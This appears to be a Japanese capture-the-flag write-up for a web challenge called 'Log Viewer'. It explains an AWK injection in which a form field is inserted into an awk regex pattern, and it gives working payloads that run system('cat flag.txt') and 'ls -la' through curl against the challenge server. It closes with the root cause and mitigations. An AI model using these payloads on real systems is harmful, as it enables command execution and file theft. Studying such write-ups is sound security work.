# 2025-12-22_"Log Viewer": 251222

Level: Medium
Type: Web
Solved day: 2025-12-22

## Solution

### Observation: `awk "/{query}/"` にユーザ入力が直挿しされている
サーバ側はフォーム入力 `query` を受け取り、以下のように `awk` の **パターン部** `/.../` にそのまま埋め込んで実行している。さらに `timeout=0.5` が設定されているため、長い処理は途中で落ちる。

- `command = ["awk", f"/{query}/", "info.log"]`
- `subprocess.run(..., timeout=0.5, ...)`

つまりこれは「シェルインジェクション」ではなく、**awk のプログラム構文そのものに対するインジェクション**（AWK Injection）になっている。

### Key idea: `/.../ { ... }` 構文を閉じて action を注入する
awk は

- `/<regex>/ { action }`

という構文を持つ。したがって `query` に `/` を含めて **正規表現リテラルを閉じ**、続けて `{ system(...) }` を注入できる。

ただし、このアプリは末尾に必ず `"/{query}/"` の **最後の `/`** を付与するため、注入後に余計な `/` が残って構文エラーになり得る。
そこで `#` を入れて **awk のコメント**にし、末尾の `/` を無効化する。

### Payload（0.5秒対策：即 `exit`）
`timeout=0.5` のため、ログ全体を走査させるより **最初の1行で実行→終了**が安全。

使ったペイロード（例：`flag.txt` を読む）:

.\*/{system("cat flag.txt");exit}#

これにより awk には概ね次のようなプログラムが渡る：

- 元の想定： `/<query>/`
- 注入後： `/.*/ { system("cat flag.txt"); exit } #/`

`#` 以降はコメントになり、アプリ側が付ける余計な末尾 `/` が無視される。

### Exploit（curl の例）
URL エンコードが必要な記号（`{ } " #` など）があるため `--data-urlencode` を使うと安全。

curl -s -X POST \
  --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \
  'http://34.170.146.252:17672/'

レスポンス中に `Alpaca{...}` の形式でフラグが表示される。

（見つけづらい場合）

curl -s -X POST \
  --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \
  'http://34.170.146.252:17672/' | grep -o 'Alpaca{[^}]*}'

### うまくいかない時の切り分け

1. **ファイル位置確認**

    curl -s -X POST --data-urlencode 'query=.*/{system("ls -la");exit}#' \
      'http://34.170.146.252:17672/'

`flag.txt` のパスが違うなら `cat` の引数を調整する。

2. **出力が HTML に埋もれる**
ブラウザなら「ページのソース」や DevTools の Network → Response を見る。
curl なら `grep -o` で抽出する。

## How I thought

### 重要な観察

1. `query` が **awk の `/<regex>/` に直挿し**されている → awk 構文注入の可能性
2. `subprocess.run([...])` で shell を使っていないので、狙うべきはシェルではなく **awk 自体の文法**
3. `timeout=0.5` があるので、処理は **即 `exit` で終了**させる必要がある
### 発想の流れ

* awk の基本構文 `/<regex>/ { action }` を思い出す
* `query` で `/` を閉じて `{system(...)} ` を差し込む
* 末尾に付く余計な `/` を `#` でコメントアウト
* タイムアウト対策に `exit` を入れて最速化

### 学び（バグの本質）

* 「正規表現検索」のつもりで `/.../` にユーザ入力を入れるのは危険
* `awk` / `sed` などは **言語**なので、引数でもコード注入が起こり得る
* 対策は「正規表現のエスケープ」や「`grep -F` のような固定文字列検索」への置換、
もしくは awk を使うなら `-v` で値として渡して安全に処理する、など